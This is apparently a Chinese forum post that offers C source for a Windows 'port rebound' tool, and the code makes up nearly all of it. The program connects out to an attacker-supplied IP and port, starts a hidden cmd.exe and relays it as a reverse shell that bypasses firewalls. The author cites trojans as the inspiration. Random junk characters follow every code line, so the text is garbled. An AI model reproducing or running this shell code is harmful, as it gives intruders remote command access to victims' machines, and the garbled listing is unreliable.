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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Dlx-mm_  
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/* ============================== "/zDcZbL;  
Rebound port in Windows NT Kc {~Q  
By wind,2006/7 )B5(V5-!|  
===============================*/ e%v0EJ},  
#include 3.D|xE]g  
#include --g? `4  
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#pragma comment(lib,"wsock32.lib") #yR@.&P  
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void OutputShell(); XO"BEj<x  
SOCKET sClient; ziG]BZ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~MZ.988:<  
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void main(int argc,char **argv) IK|W^hH\8  
{ ZN-5W|' O  
WSADATA stWsaData; RLUH[[  
int nRet; ~n9-  
SOCKADDR_IN stSaiClient,stSaiServer; ul ag$ge  
zHt}`>y&  
if(argc != 3) 1/ vcj~|)t  
{ zK ir  
printf("Useage:\n\rRebound DestIP DestPort\n"); %( o[H sl  
return; G FO(O  
}  #)28ESj  
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WSAStartup(MAKEWORD(2,2),&stWsaData); /r mm@  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xd@x(T~'X  
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stSaiClient.sin_family = AF_INET; N0']t Gh2  
stSaiClient.sin_port = htons(0); 6l?\iE  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tC'@yX  
^|h})OHV  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) MDh^ic5  
{ #wL8=QTcNC  
printf("Bind Socket Failed!\n"); '/K-i.8F  
return; Tz2<# pLR  
} JnBg;D|)@  
y3)R:h4AH  
stSaiServer.sin_family = AF_INET; e!|T Tap  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); uY*|bD`6&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); cT,5xp"a  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]QK@zb}x  
{ 4 n\dh<uY  
printf("Connect Error!"); ,L,?xvWG  
return; zFGZ;?i  
} +]NPxUa  
OutputShell(); `DcZpd.n  
} "\u_gk{g  
:Y>M/ /0  
void OutputShell() zM mV Yx  
{ |h75S.UY  
char szBuff[1024]; Tq=OYJq5U  
SECURITY_ATTRIBUTES stSecurityAttributes; .~fAcc{Qj  
OSVERSIONINFO stOsversionInfo; c!}f\ ]D  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; R'{BkC}.  
STARTUPINFO stStartupInfo; hu''"/raM  
char *szShell; ~pj/_@S@x  
PROCESS_INFORMATION stProcessInformation; lhLE)B2a2  
unsigned long lBytesRead; 4?F7%^vr  
y |E {]  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6=xbi{m$  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U,)@+?U+h  
stSecurityAttributes.lpSecurityDescriptor = 0; ~}F$1;t0  
stSecurityAttributes.bInheritHandle = TRUE; YJEL'k<l  
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I%fz^:[#<  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y:N>t+'5  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^9PB+mz  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )./'`Mx?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #{u>  
stStartupInfo.wShowWindow = SW_HIDE; @x z?^20N  
stStartupInfo.hStdInput = hReadPipe; 'dTg\ Qv  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .ko}m{  
^6[o$eY3  
GetVersionEx(&stOsversionInfo); qC?\i['`  
V=|X=:fuih  
switch(stOsversionInfo.dwPlatformId) $Q!J.}P@  
{ p4-bD_  
case 1: _laLTP*  
szShell = "command.com"; =2yg:D  
break; 235wl  
default: ~Q)137u]P  
szShell = "cmd.exe";  'WW['  
break; d5ivtK?  
} yAt,XG3  
\.7O0Q{  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); E5}wR(i,4  
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send(sClient,szMsg,77,0); Ie%twc  
while(1) /K./k!'z  
{ (}C%g{8  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .`ppp!:a4  
if(lBytesRead) ,`lVB#|  
{ ^%qh E8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .g6DKjy>  
send(sClient,szBuff,lBytesRead,0); M~1 n#  
} x>yeF,q1  
else 8O5@FU 3  
{ 'F665  
lBytesRead=recv(sClient,szBuff,1024,0); + ^9;<>P  
if(lBytesRead<=0) break; i+z;tF`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5c~OG6COx  
} FOU^Wcop%  
} mjd9]HgN  
D>c-h)2|  
return; oqOXRUy  
}
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